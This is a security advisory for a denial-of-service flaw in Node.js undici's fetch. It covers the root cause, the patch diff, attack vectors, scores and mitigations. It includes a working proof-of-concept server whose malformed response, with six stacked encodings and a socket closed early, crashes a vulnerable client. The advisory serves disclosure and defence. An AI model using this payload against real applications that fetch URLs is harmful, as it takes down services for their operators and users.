CVE-2026-109869: Denial of Service via Orphaned Stream in Node.js Undici Fetch Implementation

Undici serves as the foundational HTTP/1.1 client library and backs the global fetch() API in the Node.js runtime. It manages connection pooling, request dispatching, HTTP header parsing, and response body streaming for outbound network requests. Because modern Node.js applications rely on undici for external API communication, webhook delivery, and microservice orchestration, flaws in its response parser expose client applications to network-borne attacks from upstream servers.

CVE-2026-109869 (tracked also as GHSA-xjj6-f33q-929c) is a denial-of-service vulnerability affecting undici versions 6.23.0 through 6.29.0, 7.18.0 through 7.30.0, and 8.0.0 through 8.12.1. The defect is classified under CWE-248 (Uncaught Exception) and CWE-459 (Incomplete Cleanup). It occurs within the httpNetworkFetch execution path inside lib/web/fetch/index.js when processing HTTP responses containing stacked Content-Encoding headers.

To prevent decompression bomb attacks, undici enforces a strict limit of five content codings per response. However, in vulnerable versions, the internal response Readable stream (this.body) is instantiated prior to validating the content-encoding count. When a server returns more than five content codings, undici rejects the top-level promise and returns early without attaching an error handler to this.body or aborting the underlying network controller.

If the remote server immediately closes the TCP connection before delivering the promised response body, the underlying HTTP parser detects an unexpected end-of-file (such as a content-length mismatch) and emits an error event on the orphaned this.body stream. In Node.js, an error event emitted on an EventEmitter or Stream without registered listeners causes an unhandled exception that terminates the active process, completely bypassing any try/catch blocks or .catch() handlers wrapping the fetch() call.

The root cause of CVE-2026-109869 lies in an improper ordering of resource allocation and validation checks within httpNetworkFetch in lib/web/fetch/index.js, combined with an incomplete error-handling teardown sequence. When undici receives response headers from an upstream server, it processes redirect statuses, extracts headers, and prepares the response stream for consumption by the caller.

Prior to the security patch, undici allocated the internal Node.js Readable stream immediately after extracting the Location header:

this.body = new Readable({ read: () => controller.resume() })

Only after instantiating this.body did the execution path evaluate whether the response was a redirect or required content-encoding decompression. To mitigate multi-layered compression attacks—similar to vulnerabilities previously addressed in urllib3 (GHSA-gm62-xv2j-4w53) and curl (CVE-2022-32206)—undici counts the number of encodings specified in the Content-Encoding header and compares it against maxContentEncodings (set to 5).

When codings.length > 5, the vulnerable code invoked reject(new Error(...)) and returned immediately from the header callback. This early return created two state inconsistencies:

1. Unattached Error Listener: The onError listener responsible for routing stream errors to this.onResponseError(controller, err) was only registered at the end of the function, after the content-encoding loop completed. By returning early, this.body remained active in memory with zero 'error' listeners attached.
2. Unaborted Controller: Calling reject() rejected the JavaScript Promise returned to the user's fetch() call, but it did not invoke controller.abort(). Consequently, the underlying HTTP dispatcher and socket parser continued monitoring the TCP stream as if the response body were still expected.

When the server closes the TCP socket before transmitting the bytes promised by Content-Length (or before terminating a chunked transfer), the socket parser raises a premature close or content-length mismatch error. The dispatcher forwards this error to this.body.destroy(err). Because this.body exists but lacks an 'error' event listener, Node.js escalates the unhandled stream error to an uncaughtException, crashing the runtime.

The vulnerability was remediated across the v6, v7, and v8 release branches in commits 1325a87dfb3492f8e87e6b0a84b3bda4e82e3436, 07ded4941b1e72afec862958c3b8ddf468f3b429, and b5084c7dc239172d75c336b1cd51ddac023938a5. The patch modifies lib/web/fetch/index.js inside the httpNetworkFetch function.

@@ -2280,8 +2280,6 @@ async function httpNetworkFetch (
             appendHeadersListFromResponseHeaders(headersList, headers, rawHeaders)
             const location = headersList.get('location', true)
 
-            this.body = new Readable({ read: () => controller.resume() })
-
             const willFollow = location && request.redirect === 'follow' &&
               redirectStatusSet.has(status)
 
@@ -2299,7 +2297,7 @@ async function httpNetworkFetch (
               // CVE fix similar to urllib3 (GHSA-gm62-xv2j-4w53) and curl (CVE-2022-32206).
               const maxContentEncodings = 5
               if (codings.length > maxContentEncodings) {
-                reject(new Error(`too many content-encodings in response: ${codings.length}, maximum allowed is ${maxContentEncodings}`))
+                controller.abort(new Error(`too many content-encodings in response: ${codings.length}, maximum allowed is ${maxContentEncodings}`))
                 return
               }
 
@@ -2341,6 +2339,8 @@ async function httpNetworkFetch (
               }
             }
 
+            this.body = new Readable({ read: () => controller.resume() })
+
             const onError = (err) => this.onResponseError(controller, err)
 
             resolve({

The patch enforces two structural changes that eliminate the vulnerability:

1. Deferred Stream Allocation: The instantiation of this.body = new Readable({ read: () => controller.resume() }) is moved past the redirect checks and the codings.length > maxContentEncodings check. It is now placed immediately prior to defining onError and resolving the response object. If any header validation check fails, this.body remains undefined, preventing any orphaned stream from existing.
2. Controller Abort Propagation: Instead of calling reject(new Error(...)) directly when codings.length > maxContentEncodings, the patched code calls controller.abort(new Error(...)). In undici's fetch lifecycle, aborting the controller both rejects the pending fetch promise with the supplied error and signals the underlying HTTP client dispatcher to immediately tear down the active request and ignore subsequent socket closure events.

> [!NOTE] > Assessing fix completeness: Moving this.body allocation down also prevents orphaned stream allocation during automatic HTTP redirects (willFollow branch), where this.body was previously allocated and discarded on each redirect hop. By deferring stream creation until all pre-body validation checks succeed and routing failures through controller.abort(), the patch completely closes this error-handling gap.

Exploiting CVE-2026-109869 requires no authentication or privileges on the target Node.js application. The sole prerequisite is that the target application uses a vulnerable version of undici (either directly imported from npm or via Node.js's built-in global fetch()) to make an HTTP or HTTPS request to an endpoint controlled by or routed through the attacker.

Attack vectors commonly exposing applications to this flaw include:

• Webhook registration and delivery systems where users supply callback URLs.
• Server-Side Request Forgery (SSRF) primitives or URL preview generators (e.g., OpenGraph metadata fetchers).
• Federated protocols (such as ActivityPub or Matrix) where servers routinely fetch resources from arbitrary peer domains.
• API gateways, reverse proxies, or web scrapers built on Node.js fetch().

To trigger the crash, the attacker's server waits for an incoming HTTP request from the target and replies with an HTTP response meeting two specific criteria:

1. The header block contains more than five content-encoding tokens (for example, Content-Encoding: gzip, gzip, gzip, gzip, gzip, gzip). These can be delivered in a single comma-separated header or across multiple Content-Encoding header lines.
2. The header block indicates that a response body follows (for example, by setting Content-Length: 100), and the server immediately closes the TCP connection (FIN or RST) without sending the body bytes.

// Proof of Concept: CVE-2026-109869
const net = require('node:net');
const { fetch, Client } = require('undici');
 
const MAX_CONTENT_ENCODINGS = 5;
 
// Construct an HTTP response with 6 content-encodings and a non-zero Content-Length
const maliciousResponse = Buffer.from(
  'HTTP/1.1 200 OK\r\n' +
  `Content-Encoding: ${Array(MAX_CONTENT_ENCODINGS + 1).fill('gzip').join(', ')}\r\n` +
  'Content-Length: 100\r\n' +
  'Connection: close\r\n\r\n'
);
 
const server = net.createServer((socket) => {
  socket.once('data', () => {
    // Send headers and immediately close the socket before sending the 100-byte body
    socket.end(maliciousResponse);
  });
});
 
server.listen(0, '127.0.0.1', async () => {
  const { port } = server.address();
  const targetUrl = `http://127.0.0.1:${port}`;
  const client = new Client(targetUrl);
 
  try {
    await fetch(targetUrl, { dispatcher: client });
  } catch (err) {
    // Application properly catches the promise rejection:
    // "Error: too many content-encodings in response: 6, maximum allowed is 5"
    console.log('Caught expected rejection:', err.message);
  }
 
  // Despite the try/catch block above, the Node.js process crashes moments later
  // when the socket EOF triggers an unhandled 'error' event on the orphaned stream.
});

When executed against a vulnerable version of undici, the try/catch block catches the initial too many content-encodings rejection as expected. However, on the next tick of the Node.js event loop, the TCP FIN packet is processed by the underlying parser, throwing an unhandled HTTPParserError / content-length mismatch error directly onto the orphaned Readable stream and terminating the process with a non-zero exit code.

CVE-2026-109869 carries a CVSS v3.1 Base Score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability impacts service availability exclusively; it does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure (C:N/I:N/A:H).

The severity is high because Node.js operates on a single-threaded event loop architecture. When an uncaughtException terminates the Node.js runtime process, all concurrent in-flight HTTP requests, WebSocket connections, background jobs, and queued asynchronous tasks co-located within that worker process are abruptly aborted. A single 200-byte response from a remote server is sufficient to take down an entire application instance.

Furthermore, defensive programming practices at the application layer cannot contain the crash without registering a global process.on('uncaughtException') handler—a practice explicitly discouraged by the Node.js documentation for continuing execution because it leaves internal state and file descriptors in an undefined state.

From a threat intelligence perspective, the Exploit Prediction Scoring System (EPSS) assigns CVE-2026-109869 a score of 0.00343 (0.343%), placing it in the 26.66th percentile. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While automated internet-wide scanning is less prevalent for client-side vulnerabilities compared to listening server flaws, any application that fetches user-influenced URLs can be trivially and repeatedly crashed by an unauthenticated attacker.

The OpenJS Foundation and the undici maintainers have released patched versions across all supported release lines. Organizations should upgrade undici immediately to the following minimum versions:

• undici 6.x: Upgrade to 6.29.1 or later.
• undici 7.x: Upgrade to 7.30.1 or later.
• undici 8.x: Upgrade to 8.12.2 or later.

Security and engineering teams should audit dependency trees using Software Composition Analysis (SCA) tools or package manager commands (npm ls undici, pnpm why undici, yarn why undici) to locate both direct and transitive installations of undici. In addition to standalone node_modules dependencies, teams should verify the version of undici bundled within their production Node.js runtime binaries if the application invokes the global fetch() API.

> [!WARNING] > There is no application-level code workaround for vulnerable versions of undici. Wrapping fetch() calls in try/catch blocks or attaching .catch() handlers to the returned promise does not prevent the unhandled stream error from crashing the process.

If immediate patching is operationally impossible, the only viable mitigation is at the network boundary:

1. Outbound Egress Filtering: Restrict outbound fetch() requests via an egress proxy or firewall so the application can only communicate with trusted, internal, or explicitly allowlisted upstream servers.
2. Header Normalization at Egress Proxy: Route outbound HTTP traffic through an intermediary forward proxy (such as Envoy or NGINX) configured to strip or reject upstream HTTP responses containing multiple Content-Encoding headers before they reach the Node.js client.